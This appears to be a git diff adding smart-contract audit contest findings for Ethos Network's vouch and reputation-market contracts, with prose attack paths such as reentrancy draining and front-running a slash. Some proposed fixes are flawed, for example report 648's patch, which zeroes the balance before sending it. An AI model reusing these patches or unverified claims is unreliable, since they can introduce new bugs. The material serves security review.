Root Cause + +During `vouchByProfileId` function call, we are restricting that `authorProfileId` & the `subjectProfileId` should not be archived. +```solidity +uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); +``` + +```solidity +(bool verified, bool archived, bool mock) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusById(subjectProfileId); + + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } +``` + +However, during `increaseVouch` function call we are only checking for author not also for subject that their profile should not be archived. +```solidity +uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); +``` + +### Internal pre-conditions + +Incrementing a vouch should not be allowed for an archived `subjectProfileId`. +Incrementing a vouch should not be allowed for a non-verified and non-mock `subjectProfileId`. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +It is possible to increase vouch for an `subjectProfileId`, which have been archived at some point. +If a `subjectProfileId` is not mock and not verified then it is possible to increase vouch. + +### PoC + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Mitigation + +```diff +function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + ++ (bool verified, bool archived, bool mock) = IEthosProfile( ++ contractAddressManager.getContractAddressForName(ETHOS_PROFILE) ++ ).profileStatusById(subjectProfileId); + ++ // you may not increase vouch for archived profiles ++ // however, you may increase vouch for verified AND mock profiles ++ // we allow vouching for mock profiles in case they are later verified ++ if (archived || (!mock && !verified)) { ++ revert InvalidEthosProfileForVouch(subjectProfileId); ++ } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` \ No newline at end of file diff --git a/646.md b/646.md new file mode 100644 index 0000000..e31fc2f --- /dev/null +++ b/646.md @@ -0,0 +1,82 @@ +Suave Ceramic Crane + +Medium + +# A `Profile` can avoid being slashed by front-running `slasher` + +### Summary + +When a `Profile` griefs the system (for example), an admin can `slash` their vouch balance. This can be avoided by front-running the admin and unvouching all the balance. + +### Root Cause + +[`EthosVouch::slash`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520C3-L555C4): +```solidity + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } +``` + +The protocol didn't implement some `VouchStatus`, that sets a vouch to pending when `slash` occurs, for example. So it's possible for a `Profile` to front-run an admin that is going to `slash` that profile by unvouching all the balance before getting slashed. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1.`Attacker` griefs the system +2. `Attacker` sees is going to be slashed. +3. Unvouches all the balance in all the vouches he has. +4. When it goes through the admin has nothing to slash. + + +### Impact + +Profiles that grief the system or disrupt the protocol in some way don't get punished for it. + +### PoC + +_No response_ + +### Mitigation + +Implement a Struct type to set a vouch as Pending, or some bool flag. +Change `slash` function to set those vouches to Pending status. \ No newline at end of file diff --git a/647.md b/647.md new file mode 100644 index 0000000..38b7da4 --- /dev/null +++ b/647.md @@ -0,0 +1,48 @@ +Long Satin Wasp + +Medium + +# UnhealthyResponsePeriod can be set to a very big number cause overflow. + +### Summary + +UnhealthyResponsePeriod can be set to a very big number , whick may be cause overflow of v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L855 + +### Root Cause + +```solidity + function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + Vouch storage v = vouches[vouchId]; + bool stillHasTime = block.timestamp <= + v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; + + if (!v.archived || v.unhealthy || !stillHasTime) { + revert CannotMarkVouchAsUnhealthy(vouchId); + } + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/648.md b/648.md new file mode 100644 index 0000000..2296bb2 --- /dev/null +++ b/648.md @@ -0,0 +1,77 @@ +Funny Misty Bat + +High + +# Reentrancy in `ReputationMarket::withdrawGraduatedMarketFunds` function + +### Summary + +Attacker can drain the ReputationMarket smart contract funds by exploiting the reentrancy vulnerability in [`ReputationMarket::withdrawGraduatedMarketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660C1-L678C4) function. + +### Root Cause + +In `ReputationMarket::withdrawGraduatedMarketFunds` function, there is no reentrancy protection and `Ethers` are sent to `msg.sender` before resetting the `marketFunds` mapping + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + ....SNIP +@> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +@> marketFunds[profileId] = 0; + } +``` + +When the funds are sent, the execution flow goes back to `msg.sender` because this function is not reentrancy protected, `msg.sender` can recall this function. + +### Internal pre-conditions + +In `ContractAddressManager` a malicious address is added as authorizedAddress for `GRADUATION_WITHDRAWAL`. However, it is mentioned in contest details that `Graduate` is assumed to be contract that is deployed and owned by Ethos, it is not guaranteed that this ownable contract is 100% hack proof. + +While developing a smart contract, we need to adopt "worst comes first" mentality and make our smart contract battle tested and fully secured. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. There is a market in which graduate funds are available for withdrawal +2. Attacker (being a smart contract and assumed the role of authorizedAddress) calls `ReputationMarket::withdrawGraduatedMarketFunds` function +3. `Ethers` are sent to this malicious attacker contract, and during the execution, in the fallback function of malicious contract, `ReputationMarket::withdrawGraduatedMarketFunds` function is recalled +4. Because `marketFunds` mapping is not reset yet `Ethers` will be sent again to malicious contract +5. Attacker can keep calling this function until the protocol is drained + +### Impact + +`ReputationMarket` funds can be drained completely. + +### PoC + +_No response_ + +### Mitigation + +`ReputationMarket::withdrawGraduatedMarketFunds` function should be modified as below: + +```diff + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +++ marketFunds[profileId] = 0; + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +-- marketFunds[profileId] = 0; + } +``` \ No newline at end of file diff --git a/649.md b/649.md new file mode 100644 index 0000000..f5ca15c --- /dev/null +++ b/649.md @@ -0,0 +1,43 @@ +Early Paisley Hornet + +Medium + +# Absence of slippage protection in sellVotes allows potential economic losses for users. + +### Summary + +The sellVotes function in the ReputationMarket contract lacks slippage protection, unlike the buyVotes function, which implements this safeguard via _checkSlippageLimit. This inconsistency can lead to users receiving significantly fewer funds than expected when selling votes, especially in volatile or low-liquidity markets, exposing them to potential economic losses. + +### Root Cause + +In ReputationMarket.sol:495 : https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +The absence of slippage protection in the sellVotes function means the contract does not verify whether the funds received for sold votes meet the user’s minimum expectations. + +### Internal pre-conditions + +1. The sellVotes function is invoked with valid parameters (profileId, isPositive, and amount). +2. The market has sufficient liquidity for the sale (votesAvailable and marketFunds are adequate). + +### External pre-conditions + +1. The market experiences high volatility or low liquidity, causing significant price fluctuations. +2. The user assumes they will receive funds based on the current price but receives significantly less due to rapid price changes during the transaction. + +### Attack Path + +1. A malicious actor or market condition rapidly reduces the liquidity or changes the price in the market. +2. A user calls sellVotes without realizing the price has dropped significantly. +3. The user receives fewer funds than anticipated because the function lacks a mechanism to enforce a minimum acceptable price. + +### Impact + +Users may suffer financial losses due to receiving significantly less ETH than expected for their votes, especially in volatile markets. + +### PoC + +_No response_ + +### Mitigation + +Implement Slippage Protection in sellVotes. \ No newline at end of file diff --git a/650.md b/650.md new file mode 100644 index 0000000..a101cbf --- /dev/null +++ b/650.md @@ -0,0 +1,43 @@ +Atomic Turquoise Gerbil + +High + +# Lack of slippage on `sellVotes()` + +### Summary + +Lack of slippage on `sellVotes()`, this has an impact when users sell their votes and get less ETH than expected. + +Even though there is a `simulateSell()` function that functions as a simulation for users to estimate the ETH obtained when making a sale, this has no effect when the user makes an actual sale. This is because the price will change if there is another transaction (buying / selling votes) that occurs after the user calls `simulateSell()` and the price will change. + +Then the main problem here is that there is no slippage protection on the `sellVotes()` function, users cannot set the minimum ETH received when selling their votes. + +User may suffer significant loss if there is if someone makes a transaction (buy or sell) in large volumes, especially in markets that have a default configuration where prices will be very volatile. + +### Root Cause + +[ReputationMarket.sol:806-832](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L806-L832) lack of slippage protection for user + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users suffer losses in the form of receiving less ETH than desired or simulated. + +### PoC + +_No response_ + +### Mitigation + +Add slippage on `sellVotes()` \ No newline at end of file diff --git a/651.md b/651.md new file mode 100644 index 0000000..cdd6c4a --- /dev/null +++ b/651.md @@ -0,0 +1,66 @@ +Quick Peach Flamingo + +Medium + +# Corruptible upgradability pattern + +### Summary + +The Ethos contracts (`EthosVouch`, `ReputationMarket`) are UUPSUpgradeable. However, the current implementation has multiple issues regarding upgradability. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L15 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/SignatureControl.sol#L11 + +### Root Cause + +Following is the inheritance chain of the Ethos contracts. + +```mermaid +graph BT; +classDef nogap fill:#f96; +AccessControl:::nogap-->IPausable:::nogap +AccessControl:::nogap-->PausableUpgradeable:::nogap +AccessControl:::nogap-->AccessControlEnumerableUpgradeable:::nogap +AccessControl:::nogap-->SignatureControl:::nogap +EthosVouch:::nogap-->AccessControl:::nogap +EthosVouch:::nogap-->UUPSUpgradeable:::nogap +EthosVouch:::nogap-->ITargetStatus:::nogap +EthosVouch:::nogap-->ReentrancyGuard:::nogap +ReputationMarket:::nogap-->AccessControl:::nogap +ReputationMarket:::nogap-->UUPSUpgradeable:::nogap +ReputationMarket:::nogap-->ReentrancyGuard:::nogap +``` + +The Ethos contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. + +The AccessControl and SignatureControl are both contracts written by Ethos team, both contain storage slots but there are no gaps implemented. + +Also, both `EthosVouch` and `ReputationMarket` inherit the non-upgradeable version ReentrancyGuard from Openzeppelin's library, when it should use the upgradeable version from [openzeppelin-contracts-upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable) lib. + +https://docs.openzeppelin.com/contracts/5.x/upgradeable + +### Internal pre-conditions + +1. If admin performs an upgrade and wants to add another storage slot in AccessControl or SignatureControl contract, the storage slot would mess up. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Storage of contracts might be corrupted during upgrading. + +### PoC + +_No response_ + +### Mitigation + +1. Add gaps in AccessControl, SignatureControl +2. Use library from Openzeppelin-upgradeable instead, e.g. ReentrancyGuardUpgradeable. \ No newline at end of file diff --git a/652.md b/652.md new file mode 100644 index 0000000..869a599 --- /dev/null +++ b/652.md @@ -0,0 +1,50 @@ +Lively Banana Gazelle + +Medium + +# No removal of participants even after selling the votes + +### Summary + +_No response_ + +### Root Cause + +The participants array grows indefinitely as new users buy votes. This can lead to increased gas costs for operations involving the array (e.g., iterating over participants) and potentially excessive storage usage +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442C3-L535C1 +```solidity +function buyVotes(...) { + // ... code + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); // Array grows indefinitely + isParticipant[profileId][msg.sender] = true; + } + // ... +} +``` +In `sellVotes` no removal of participant from the array even if they sell all votes + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + + Increased gas costs could make certain contract functions prohibitively expensive. Excessive storage usage contributes to the overall blockchain state size. + + +### PoC + +_No response_ + +### Mitigation + +Implement a mechanism to remove participants from the array when they sell all their votes or use an alternative data structure \ No newline at end of file diff --git a/653.md b/653.md new file mode 100644 index 0000000..8dc0cad --- /dev/null +++ b/653.md @@ -0,0 +1,60 @@ +Jumpy Malachite Tadpole + +Medium + +# Maximum total fees can exceed 10% in EthosVouch + +### Summary + +According to the documentation, maximum total fees cannot exceed 10% but in the code the max fee for total fees in EthosVouch was set to 10000 basis point which is equivalent to 100%. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996 + +```solidity + // --- Constants --- + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +@> uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; + + + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +MAX_TOTAL_FEES was set to 10000 and this will cause the checkFeeExceedsMaximum to pass when total fees is more than 10%. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Maximum total fees can exceed 10% when admin tries to setEntryProtocolFeeBasisPoints, setEntryDonationFeeBasisPoints,setEntryVouchersPoolFeeBasisPoints and setExitFeeBasisPoints + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/654.md b/654.md new file mode 100644 index 0000000..4f2b9c6 --- /dev/null +++ b/654.md @@ -0,0 +1,44 @@ +Deep Ruby Troll + +Medium + +# Missing Validation for msg.sender's Author Profile ID Allows Unregistered Users to Vouch + +### Summary + +non verificated msg.sender without ID can do vouches with using ID 0. + +### Root Cause + +```EthosVouch.lol``` ```vouchByAddress``` checks if msg.sender has verifiedProfileIdForAddress, but if he doesnt have, it doesnt revert just returns 0. +```solidity + function verifiedProfileIdForAddress(address _address) external view returns (uint256); + ``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309-L415 + +This causes non registered profile to vouch for someone with the ID 0. +This way the msg.sender saves gas and still vouches + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +non registered profile makes a vouch + +### PoC + +_No response_ + +### Mitigation + +check if msg.sender has an verifiedProfileIdForAddress and if this verifiedId == 0 revert \ No newline at end of file diff --git a/655.md b/655.md new file mode 100644 index 0000000..f9d01a8 --- /dev/null +++ b/655.md @@ -0,0 +1,54 @@ +Prehistoric Coal Unicorn + +Medium + +# No gaps available in upgradeable contracts + +### Summary + +No gaps available in upgradeable contracts + +### Root Cause + +Both EthosVouch and ReputationMarket are upgradeable contracts, this means that a Proxy contract will be used to keep the storage and use the logic in EthosVouch and ReputationMarket; the logic of these contracts can be upgraded by admin to enable more complex functionalities in the future. + +However, AccessControl (from which EthosVouch and ReputationMarket inherit) and SignatureControl (from which AccessControl inherits) have no free gaps in their storage declarations. As a consequence, future implementations do not admit new state variables in these contracts without producing a storage collision. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L15-L34 + +### Attack Path + +1. Admin upgrades EthosVouch or ReputationMarket to a new version using upgradeToAndCall() from UUPSUpgradeable, this new version contains new state variables in AccessControl and SignatureControl as its logic is more complex. +2. New state variables now point to storage slot occupied by different variables from the previous version, therefore a storage collision has been produced, totally altering the storage of the Proxy contract. + +### Impact + +Storage collision likely to happen when contract is upgraded. Serious limitations on new implementations to prevent the collision from happenning (no new state variables admitted in AccessControl and SignatureControl). + +### Mitigation + +Add a gap in both mentioned contracts + +```solidity +abstract contract AccessControl is + IPausable, + PausableUpgradeable, + AccessControlEnumerableUpgradeable, + SignatureControl +{ + /** + * @dev Constructor that disables initializers when the implementation contract is deployed. + * This prevents the implementation contract from being initialized, which is important for + * security since the implementation contract should never be used directly, only through + * delegatecall from the proxy. + */ + constructor() { + _disableInitializers(); + } + + bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); + bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); + + IContractAddressManager public contractAddressManager; ++ uint256[50] _gap; +``` \ No newline at end of file diff --git a/656.md b/656.md new file mode 100644 index 0000000..4809813 --- /dev/null +++ b/656.md @@ -0,0 +1,51 @@ +Radiant Sangria Bison + +Medium + +# Users can deposit less than the minimum vouch amount + +### Summary + +There's a `configuredMinimumVouchAmount` state variable that the vouch amount to deposit should be checked against, however this check compares `configuredMinimumVouchAmount` and `msg.value` instead of `toDeposit` allowing the users to have a `toDeposit` vouch amount smaller than the minimum required `configuredMinimumVouchAmount`. Smaller amounts than expected will be staked for a vouch in wei. + +### Root Cause + +The wrong checks here: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L380 +and here: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L428 +constitute the root cause of this issue + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. call `vouchByProfileId(...)` by passing a msg.value equal to `configuredMinimumVouchAmount` + +### Impact + +Smaller amounts than expected will be staked for a vouch in wei. + +### PoC + +_No response_ + +### Mitigation + +Make the following changes in the 2 occurrences mentioned before +```diff +- if (msg.value < configuredMinimumVouchAmount) { +- revert MinimumVouchAmount(configuredMinimumVouchAmount); +- } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); ++ if (toDeposit < configuredMinimumVouchAmount) { ++ revert MinimumVouchAmount(configuredMinimumVouchAmount); ++ } +``` \ No newline at end of file diff --git a/657.md b/657.md new file mode 100644 index 0000000..601d4c8 --- /dev/null +++ b/657.md @@ -0,0 +1,47 @@ +Passive Tawny Sheep + +Medium + +# Cross-contract reentrancy vulnerability in the Reputation Market + +### Summary + +The functions `buyVotes`,`sellVotes`and`_createMarket` don't respect the check effect interaction pattern which make them vulnerable to a cross-contract reentrancy with the graduate Market contract. + +### Root Cause + +The three functions don't respect the CEI pattern +`_createMarket` : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L347-L349 +`buyVotes`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L478-L493 +`sellVotes`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L520-L533 +The `_sendEth`function send eth to the caller. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L891-L894 +They are sending eth to the caller in order to refund the user but the `marketFunds` and `lastMarketUpdates` state variables are not set correctly since the sending happen before. The graduate market contract is not implemented yet but it is sure that it will read from those variable, moreover according to the protocol team participants of a market will have access to this smart contract. + +### Internal pre-conditions + +none. + +### External pre-conditions + +none. + +### Attack Path + +1. A participants of a markets sell or buy votes. +2. The eth sending trigger a fallback function that exploit the graduate contract. + +### Impact + +The graduate contract is vulnerable to a reentrancy attack that could lead to a loss of funds. + +### PoC + +_No response_ + +### Mitigation + +The three functions should respect the CEI pattern. \ No newline at end of file diff --git a/658.md b/658.md new file mode 100644 index 0000000..f55e3db --- /dev/null +++ b/658.md @@ -0,0 +1,23 @@ +Petite Chili Goose + +Medium + +# Reorg Risk in unVouched and markUnhealthy Timing + +## Summary +In EthosVouch, users have a 24-hour window after unVouching to mark a vouch as unHealthy. However, reorgs on L2 chains like Polygon and Optimism can delay transactions, causing them to fall outside the allowed timeframe. This can prevent the marking of malicious actors as unHealthy, undermining the protocol's integrity. +## Vulnerability Detail +L2 chains are prone to reorgs with significant block depth (e.g., 100+ blocks on Polygon). +Transaction timing discrepancies due to reorgs can shift a valid markUnhealthy transaction from within the allowed 24-hour window (T1) to beyond it (T2). +https://protos.com/polygon-hit-by-157-block-reorg-despite-hard-fork-to-reduce-reorgs/ +Reorgs on chains like Polygon can delay transactions by 30+ minutes due to depth. +## Impact +Malicious actors may avoid being marked unHealthy if reorgs delay transactions past the 24-hour limit. +This creates a loophole, reducing the protocol's effectiveness in punishing bad actors and protecting honest participants. +## Code Snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L857 +## Tool used +Manual Review + +## Recommendation +Allow protocol admins to manually intervene in edge cases where reorgs affect marking unHealthy.Replace time-dependent logic with event or block-number-based tracking to ensure reorg resilience. \ No newline at end of file diff --git a/659.md b/659.md new file mode 100644 index 0000000..ae5718b --- /dev/null +++ b/659.md @@ -0,0 +1,55 @@ +Colossal Felt Dove + +High + +# Incorrect calculation of marketFunds in sellVotes + +### Summary + +The `marketFunds` variable in the `sellVotes` function is incorrectly updated. It is adjusted by subtracting `fundsReceived` from `marketFunds`. However, a portion of the market's funds is transferred as a protocol exit fee, and this fee amount is not deducted from `marketFunds`. As a result, `marketFunds` becomes overestimated over time, potentially leading to excessive withdrawals through `withdrawGraduatedMarketFunds` after the market graduates. + +**Note:** This issue is different from the over-calculation of `marketFunds` in the `buyVotes` function. While both lead to the same impact, their root causes are different. + +### Root Cause + +In [ReputationMarket.sol:522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) the fundsReceived value is subtracted from marketFunds. However, the protocol fee, which is part of marketFunds and is transferred to the protocol fee recipient, is not subtracted. This results in an over-calculation of marketFunds. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +#### **Initial Setup** +1. A market is created with a specific `profileId`, and voting begins. +2. Multiple users participate in the market by calling the `buyVotes` function, providing funds to purchase votes. + +--- + +#### **Execution** +1. **User A** buys votes by calling `buyVotes`. The `_calculateBuy` function calculates the amount of funds being added to the market and updates `marketFunds` accordingly. +2. Later, **User A** calls `sellVotes` to sell their votes. The `sellVotes` function applies an exit fee, transfers funds to the user, and subtracts the transferred funds from `marketFunds`. However, it doesn't subtract the exit fee from `marketFunds`, even though the fee is part of the market funds. +--- + +#### **Graduation and Withdrawal** +1. After the market ends, the market graduates, making `marketFunds` available for withdrawal via `withdrawGraduatedMarketFunds`. +2. Authorized address calls `withdrawGraduatedMarketFunds`, it withdraws amounts based on the inflated `marketFunds` value. +4. However, the underlying market does not have sufficient funds to match the marketFunds value. As a result, the protocol is forced to cover the shortfall using funds from other markets. +5. The contract does not have sufficient funds to cover all markets. Eventually, it runs out of funds at some point. + +### Impact + +Excessive withdrawals through `withdrawGraduatedMarketFunds` leads to protocol insolvency, leaving the protocol without sufficient funds to cover all markets. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/660.md b/660.md new file mode 100644 index 0000000..31f9a9d --- /dev/null +++ b/660.md @@ -0,0 +1,94 @@ +Jolly Sand Elk + +High + +# Market funds cannot be withdrawn because of incorrect calculation of `fundsPaid` + +### Summary +Funds withdrawal is blocked as fees are not deducted from fundsPaid when already being applied. + +## Root Cause + +When votes are bought in `ReputationMarket` market, user has to pay fees to: +- donation fees going to owner of the market +- protocol fees going to treasury + +This is seen in `applyFees` function below: + +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +@> donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; // donation fees are updated for market owner + if (protocolFee > 0) { +@> (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); // protocolFees paid to treasury + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` + +Next, the total amount a user pays when votes are bought is managed by the `fundsPaid` variable. The amount consists of: +`cost of votes + protocol fees + donation fees` + +The vulnerability exists in the execution here: +1. send protocol fees to the treasury +2. add donations to market owner's escrow +3. marketOwner is able to withdraw donations via `withdrawDonations()` + +In the `buyVotes` function, protocolFee and donation are paid first as seen below: + +```solidity + applyFees(protocolFee, donation, profileId); +``` + +Then, when tallying the market funds, `marketFunds` is updated with `fundsPaid`. This `fundsPaid` still includes the protocolFee and donation and has not been deducted. + +```solidity + marketFunds[profileId] += fundsPaid; +``` + +Hence, the protocolFee and donation has been counted twice. + +When a market graduates, because of the incorrect counting of `marketFunds`, the contract may not have enough funds to be withdrawn via `ReputationMarket.withdrawGraduatedMarketFunds` and results in transaction reverting. + + +## Proof of Concept + +Assume this scenario: + +A market exists with 2 trust votes and 2 distrust votes, each costing 0.03 ETH. Protocol and donation fees are both set at 5%. +Alice buys 2 trust votes for 0.07 ETH: + +Fees (5% each): +Protocol: 0.0015 ETH per vote → 0.003 ETH total. +Donations: 0.0015 ETH per vote → 0.003 ETH total. +Vote Cost: 0.03 ETH × 2 = 0.06 ETH. +Refund: 0.07 ETH - (0.06 ETH + 0.006 ETH fees) = 0.004 ETH. +The contract incorrectly records 0.066 ETH (votes + fees) as market funds. + +Market owner withdraws the 0.06 ETH correctly available. + +After market graduation, the contract attempts to withdraw the recorded 0.066 ETH, but only 0.06 ETH exists. + +## Impact: + +The withdrawal fails due to insufficient funds. +Funds are stuck, or other markets' funds are misallocated. +If a withdrawal succeeds, it might wrongly pull ETH allocated to other markets, leading to losses for other users. + +## Line(s) of Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116 + +## Recommendations + +Update logic to deduct protocol fees and donations before updating `marketFunds`. + diff --git a/661.md b/661.md new file mode 100644 index 0000000..46932c5 --- /dev/null +++ b/661.md @@ -0,0 +1,46 @@ +Funny Misty Bat + +Medium + +# Market donation recipient can loose funds + +### Summary + +In [`ReputationMarket::updateDonationRecipient`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L544C1-L564C4) function, if `msg.sender` being current donation recipient, passes his own address as `newRecipient` then his balance in the `donationEscrow` mapping will be doubled and immediately it will be reset to `0` + +### Root Cause + +While transferring the donation escrow amount from the existing donation recipient to the new donation recipient it is not checked that both the addresses must not be the same. + +```solidity + function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + ....SNIP +@> donationEscrow[newRecipient] += donationEscrow[msg.sender]; +@> donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The donation escrow amount of the existing donation recipient is set to `0` and donation recipient looses the funds. + +### PoC + +_No response_ + +### Mitigation + 